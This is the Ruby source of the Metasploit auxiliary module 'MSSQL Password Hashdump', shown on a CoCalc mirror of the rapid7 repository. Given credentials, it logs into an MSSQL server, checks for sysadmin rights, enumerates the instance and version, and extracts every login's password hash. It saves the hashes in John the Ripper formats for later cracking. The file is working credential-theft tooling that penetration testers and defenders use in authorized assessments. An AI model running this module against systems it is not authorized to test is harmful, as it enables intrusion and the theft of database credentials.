CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/mssql/mssql_hashdump.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::MSSQL
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::Scanner
10
include Msf::OptionalSession::MSSQL
11
12
def initialize
13
super(
14
'Name' => 'MSSQL Password Hashdump',
15
'Description' => %Q{
16
This module extracts the usernames and encrypted password
17
hashes from a MSSQL server and stores them for later cracking.
18
This module also saves information about the server version and
19
table names, which can be used to seed the wordlist.
20
},
21
'Author' => ['theLightCosine'],
22
'License' => MSF_LICENSE
23
)
24
end
25
26
def run_host(ip)
27
if session
28
set_mssql_session(session.client)
29
elsif !mssql_login(datastore['USERNAME'], datastore['PASSWORD'])
30
info = self.mssql_client.initial_connection_info
31
if info[:errors] && !info[:errors].empty?
32
info[:errors].each do |err|
33
print_error(err)
34
end
35
end
36
return
37
end
38
39
service_data = {
40
address: ip,
41
port: mssql_client.peerport,
42
service_name: 'mssql',
43
protocol: 'tcp',
44
workspace_id: myworkspace_id
45
}
46
47
credential_data = {
48
module_fullname: self.fullname,
49
origin_type: :service,
50
private_data: datastore['PASSWORD'],
51
private_type: :password,
52
username: datastore['USERNAME']
53
}
54
55
if datastore['USE_WINDOWS_AUTHENT']
56
credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
57
credential_data[:realm_value] = datastore['DOMAIN']
58
end
59
credential_data.merge!(service_data)
60
61
credential_core = create_credential(credential_data)
62
63
login_data = {
64
core: credential_core,
65
last_attempted_at: DateTime.now,
66
status: Metasploit::Model::Login::Status::SUCCESSFUL
67
}
68
login_data.merge!(service_data)
69
70
is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0]
71
72
unless is_sysadmin == 0
73
login_data[:access_level] = 'admin'
74
end
75
76
create_credential_login(login_data)
77
78
# Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8)
79
instance_info = mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')
80
instancename = instance_info[1] || instance_info[0]
81
print_status("Instance Name: #{instancename.inspect}")
82
version = mssql_query(mssql_sql_info())[:rows][0][0]
83
version_year = version.split('-')[0].slice(/\d\d\d\d/)
84
85
unless is_sysadmin == 0
86
mssql_hashes = mssql_hashdump(version_year)
87
unless mssql_hashes.nil? || mssql_hashes.empty?
88
report_hashes(mssql_hashes,version_year)
89
end
90
end
91
end
92
93
94
# Stores the grabbed hashes as loot for later cracking
95
# The hash format is slightly different between 2k and 2k5/2k8
96
def report_hashes(mssql_hashes, version_year)
97
case version_year
98
when "2000"
99
hashtype = "mssql"
100
when "2005", "2008"
101
hashtype = "mssql05"
102
else
103
hashtype = "mssql12"
104
end
105
106
this_service = report_service(
107
:host => mssql_client.peerhost,
108
:port => mssql_client.peerport,
109
:name => 'mssql',
110
:proto => 'tcp'
111
)
112
113
service_data = {
114
address: ::Rex::Socket.getaddress(mssql_client.peerhost,true),
115
port: mssql_client.peerport,
116
service_name: 'mssql',
117
protocol: 'tcp',
118
workspace_id: myworkspace_id
119
}
120
121
mssql_hashes.each do |row|
122
next if row[0].nil? or row[1].nil?
123
next if row[0].empty? or row[1].empty?
124
125
username = row[0]
126
upcase_hash = "0x#{row[1].upcase}"
127
128
credential_data = {
129
module_fullname: self.fullname,
130
origin_type: :service,
131
private_type: :nonreplayable_hash,
132
private_data: upcase_hash,
133
username: username,
134
jtr_format: hashtype
135
}
136
137
credential_data.merge!(service_data)
138
139
credential_core = create_credential(credential_data)
140
141
login_data = {
142
core: credential_core,
143
status: Metasploit::Model::Login::Status::UNTRIED
144
}
145
146
login_data.merge!(service_data)
147
login = create_credential_login(login_data)
148
149
print_good("Saving #{hashtype} = #{username}:#{upcase_hash}")
150
end
151
end
152
153
# Grabs the user tables depending on what Version of MSSQL
154
# The queries are different between 2k and 2k/2k8
155
def mssql_hashdump(version_year)
156
is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0]
157
158
if is_sysadmin == 0
159
print_error("The provided credentials do not have privileges to read the password hashes")
160
return nil
161
end
162
163
case version_year
164
when "2000"
165
results = mssql_query(mssql_2k_password_hashes())[:rows]
166
else
167
results = mssql_query(mssql_2k5_password_hashes())[:rows]
168
end
169
170
return results
171
172
end
173
end
174
175